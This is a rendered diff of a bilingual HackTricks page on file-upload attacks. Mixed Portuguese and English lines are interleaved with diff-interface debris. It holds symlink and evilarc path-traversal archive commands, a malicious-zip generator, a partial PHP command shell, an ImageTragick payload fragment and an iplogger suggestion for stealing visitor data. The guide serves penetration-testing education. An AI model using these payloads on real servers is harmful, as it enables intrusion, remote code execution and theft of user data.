- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||||
- Tente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
- Try **different svg payloads** from [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
|
||||||
- [Famosa vulnerabilidade **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||||
- Se você puder **indicar ao servidor web para capturar uma imagem a partir de uma URL** você pode tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/index.html). Se essa **imagem** for **salva** em algum site **público**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**.
|
- If you can **indicate the web server to catch an image from a URL** you could try to abuse a [SSRF](../ssrf-server-side-request-forgery/index.html). If this **image** is going to be **saved** in some **public** site, you could also indicate a URL from [https://iplogger.org/invisible/](https://iplogger.org/invisible/) and **steal information of every visitor**.
|
||||||
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||||
- PDFs especialmente criados para XSS: A [página a seguir apresenta como **injetar dados em PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, pode preparar um PDF que execute JS arbitrário seguindo as indicações dadas.
|
- Specially crafted PDFs to XSS: The [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
|
||||||
- Faça upload do \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus**
|
- Upload the \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) content to check if the server has any **antivirus**
|
||||||
- Verifique se existe algum **limite de tamanho** ao enviar arquivos
|
- Verifique se existe algum **limite de tamanho** ao fazer upload de arquivos
|
||||||
|
|
||||||
Aqui vai uma lista top 10 de coisas que você pode conseguir fazendo upload (de [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
Aqui está uma lista top 10 de coisas que você pode conseguir fazendo upload (a partir de [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||||
|
|
||||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||||
2. **SVG**: Stored XSS / SSRF / XXE
|
2. **SVG**: Stored XSS / SSRF / XXE
|
||||||
@ -197,7 +227,7 @@ Aqui vai uma lista top 10 de coisas que você pode conseguir fazendo upload (de
|
|||||||
9. **ZIP**: RCE via LFI / DoS
|
9. **ZIP**: RCE via LFI / DoS
|
||||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||||
|
|
||||||
#### Burp Extension
|
#### Extensão do Burp
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
@ -211,30 +241,30 @@ https://github.com/portswigger/upload-scanner
|
|||||||
|
|
||||||
Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para outros tipos de arquivo.
|
Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para outros tipos de arquivo.
|
||||||
|
|
||||||
## Upload de Zip/Tar automaticamente descomprimido
|
## Zip/Tar File Automatically decompressed Upload
|
||||||
|
|
||||||
Se você puder fazer upload de um ZIP que será descomprimido no servidor, você pode fazer 2 coisas:
|
Se você puder fazer upload de um ZIP que será descomprimido no servidor, você pode fazer 2 coisas:
|
||||||
|
|
||||||
### Symlink
|
### Symlink
|
||||||
|
|
||||||
Envie um arquivo contendo symlinks para outros arquivos; ao acessar os arquivos descomprimidos, você acessará os arquivos vinculados:
|
Faça upload de um arquivo contendo symlinks para outros arquivos; então, ao acessar os arquivos descomprimidos, você acessará os arquivos vinculados:
|
||||||
```
|
```
|
||||||
ln -s ../../../index.php symindex.txt
|
ln -s ../../../index.php symindex.txt
|
||||||
zip --symlinks test.zip symindex.txt
|
zip --symlinks test.zip symindex.txt
|
||||||
tar -cvf test.tar symindex.txt
|
tar -cvf test.tar symindex.txt
|
||||||
```
|
```
|
||||||
### Descompactar em pastas diferentes
|
### Descomprimir em pastas diferentes
|
||||||
|
|
||||||
A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar da suposição inicial de que essa configuração poderia impedir a execução de comandos a nível do sistema operacional via uploads de arquivos maliciosos, o suporte à compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload seguros manipulando a funcionalidade de descompressão da aplicação alvo.
|
A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposições iniciais de que essa configuração poderia proteger contra OS-level command execution através de uploads de arquivos maliciosos, o suporte a compressão hierárquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser exploradas. Isso permite que atacantes contornem restrições e escapem dos diretórios de upload seguros ao manipular a funcionalidade de descompressão da aplicação alvo.
|
||||||
|
|
||||||
Um exploit automatizado para criar esses arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). O utilitário pode ser usado como mostrado:
|
Um exploit automatizado para criar tais arquivos está disponível em [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). A utilidade pode ser usada como mostrado:
|
||||||
```python
|
```python
|
||||||
# Listing available options
|
# Listing available options
|
||||||
python2 evilarc.py -h
|
python2 evilarc.py -h
|
||||||
# Creating a malicious archive
|
# Creating a malicious archive
|
||||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||||
```
|
```
|
||||||
Além disso, a **symlink trick with evilarc** é uma opção. Se o objetivo for direcionar um arquivo como `/flag.txt`, um symlink para esse arquivo deve ser criado no seu sistema. Isso garante que o evilarc não encontre erros durante sua operação.
|
Além disso, o **symlink trick with evilarc** é uma opção. Se o objetivo for atingir um arquivo como `/flag.txt`, um symlink para esse arquivo deve ser criado no seu sistema. Isso garante que evilarc não encontre erros durante sua operação.
|
||||||
|
|
||||||
Abaixo está um exemplo de código Python usado para criar um arquivo zip malicioso:
|
Abaixo está um exemplo de código Python usado para criar um arquivo zip malicioso:
|
||||||
```python
|
```python
|
||||||
@ -254,11 +284,11 @@ zip.close()
|
|||||||
|
|
||||||
create_zip()
|
create_zip()
|
||||||
```
|
```
|
||||||
**Abuso de compressão para file spraying**
|
**Abusando da compressão para file spraying**
|
||||||
|
|
||||||
Para mais detalhes **consulte o post original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
Para mais detalhes **veja a postagem original em**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||||
|
|
||||||
1. **Criando um PHP Shell**: Código PHP é escrito para executar comandos passados através da variável `$_REQUEST`.
|
1. **Creating a PHP Shell**: Código PHP é escrito para executar comandos passados pela variável `$_REQUEST`.
|
||||||
|
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
@ -285,7 +315,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
|||||||
|
|
||||||
## ImageTragic
|
## ImageTragic
|
||||||
|
|
||||||
Envie este conteúdo com uma extensão de imagem para explorar a vulnerabilidade **(ImageMagick , 7.0.1-1)** (veja o [exploit](https://www.exploit-db.com/exploits/39767))
|
Faça upload deste conteúdo com uma extensão de imagem para explorar a vulnerabilidade **(ImageMagick , 7.0.1-1)** (a partir do [exploit](https://www.exploit-db.com/exploits/39767))
|
||||||
```
|
```
|
||||||
push graphic-context
|
push graphic-context
|
||||||
viewbox 0 0 640 480
|
viewbox 0 0 640 480
|
||||||
@ -294,29 +324,31 @@ pop graphic-context
|
|||||||
```
|
```
|
||||||
## Incorporando PHP Shell em PNG
|
## Incorporando PHP Shell em PNG
|
||||||
|
|
||||||
Incorporar um PHP shell no chunk IDAT de um arquivo PNG pode efetivamente contornar certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes nesse contexto, pois são comumente usadas para redimensionar e resamplear imagens, respectivamente. A capacidade do PHP shell incorporado de permanecer inalterado por essas operações é uma vantagem significativa em certos casos de uso.
|
Incorporar um PHP shell no chunk IDAT de um arquivo PNG pode efetivamente contornar certas operações de processamento de imagem. As funções `imagecopyresized` e `imagecopyresampled` do PHP-GD são particularmente relevantes nesse contexto, pois costumam ser usadas para redimensionamento e reamostragem de imagens, respectivamente. A capacidade do PHP shell incorporado de permanecer inalterado por essas operações é uma vantagem significativa para alguns casos de uso.
|
||||||
|
|
||||||
Uma exploração detalhada dessa técnica, incluindo sua metodologia e aplicações potenciais, é fornecida no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Este recurso oferece um entendimento abrangente do processo e suas implicações.
|
Uma exploração detalhada desta técnica, incluindo sua metodologia e potenciais aplicações, é apresentada no seguinte artigo: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Esse recurso oferece uma compreensão abrangente do processo e de suas implicações.
|
||||||
|
|
||||||
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
|
|
||||||
## Arquivos Polyglot
|
## Arquivos Polyglot
|
||||||
|
|
||||||
Arquivos polyglot servem como uma ferramenta única em segurança cibernética, atuando como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo intrigante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como GIF quanto como um RAR archive. Esses arquivos não se limitam a esse pareamento; combinações como GIF e JS ou PPT e JS também são viáveis.
|
Arquivos polyglot funcionam como camaleões que podem existir validamente em múltiplos formatos de arquivo simultaneamente. Um exemplo interessante é um [GIFAR](https://en.wikipedia.org/wiki/Gifar), um híbrido que funciona tanto como GIF quanto como um RAR. Esses arquivos não se limitam a essa combinação; pares como GIF e JS ou PPT e JS também são viáveis.
|
||||||
|
|
||||||
A utilidade central dos arquivos polyglot reside em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. É prática comum em várias aplicações permitir apenas certos tipos de arquivo para upload — como JPEG, GIF ou DOC — para mitigar o risco apresentado por formatos potencialmente perigosos (por exemplo, JS, PHP ou Phar). Contudo, um polyglot, ao satisfazer os critérios estruturais de múltiplos tipos de arquivo, pode contornar essas restrições furtivamente.
|
A utilidade central dos polyglots está na sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. Uma prática comum em várias aplicações é permitir apenas certos tipos de arquivo para upload — como JPEG, GIF ou DOC — para mitigar o risco de formatos potencialmente perigosos (por exemplo, JS, PHP ou Phar). No entanto, um polyglot, ao cumprir os critérios estruturais de múltiplos formatos, pode furtivamente burlar essas restrições.
|
||||||
|
|
||||||
Apesar de sua adaptabilidade, polyglots encontram limitações. Por exemplo, embora um polyglot possa simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso do seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensões permitidas, a mera dualidade estrutural de um polyglot pode não ser suficiente para garantir o upload.
|
Apesar da adaptabilidade, os polyglots enfrentam limitações. Por exemplo, embora um polyglot possa simultaneamente incorporar um arquivo PHAR e um JPEG, o sucesso do upload pode depender da política de extensões do sistema. Se a aplicação for rígida quanto às extensões permitidas, a dualidade estrutural de um polyglot pode não ser suficiente para garantir o upload.
|
||||||
|
|
||||||
### Fazer upload de JSONs válidos como se fossem PDF
|
More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
|
|
||||||
Como evitar detecções de tipo de arquivo fazendo upload de um arquivo JSON válido mesmo quando não permitido, fingindo ser um arquivo PDF (técnicas de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
### Fazer upload de JSON válidos como se fossem PDF
|
||||||
|
|
||||||
- **`mmmagic` library**: Contanto que os bytes mágicos `%PDF` estejam nos primeiros 1024 bytes, é considerado válido (veja exemplo no post)
|
Como evitar detecções de tipo de arquivo fazendo upload de um arquivo JSON válido mesmo que não seja permitido, fingindo ser um arquivo PDF (técnicas de **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**):
|
||||||
- **`pdflib` library**: Adicione um formato PDF falso dentro de um campo do JSON para que a biblioteca pense que é um pdf (veja exemplo no post)
|
|
||||||
- **`file` binary**: Pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que não consiga parsear o conteúdo como um json e então, dentro do JSON, colocar a parte inicial de um PDF real e ele vai interpretar como PDF
|
|
||||||
|
|
||||||
## Referências
|
- **`mmmagic` library**: Desde que os bytes mágicos `%PDF` estejam nos primeiros 1024 bytes, ele considera válido (veja exemplo no post)
|
||||||
|
- **`pdflib` library**: Adicionar um formato PDF falso dentro de um field do JSON faz com que a library considere que é um pdf (veja exemplo no post)
|
||||||
|
- **`file` binary**: Ele pode ler até 1048576 bytes de um arquivo. Basta criar um JSON maior que isso para que ele não consiga parsear o conteúdo como JSON e então, dentro do JSON, colocar a parte inicial de um PDF real e ele vai considerar como PDF
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||||
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
- [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner)
|
||||||
@ -326,5 +358,8 @@ Como evitar detecções de tipo de arquivo fazendo upload de um arquivo JSON vá
|
|||||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||||
|
- [CVE-2024-21546 – NVD entry](https://nvd.nist.gov/vuln/detail/CVE-2024-21546)
|
||||||
|
- [PoC gist for LFM .php. bypass](https://gist.github.com/ImHades101/338a06816ef97262ba632af9c78b78ca)
|
||||||
|
- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user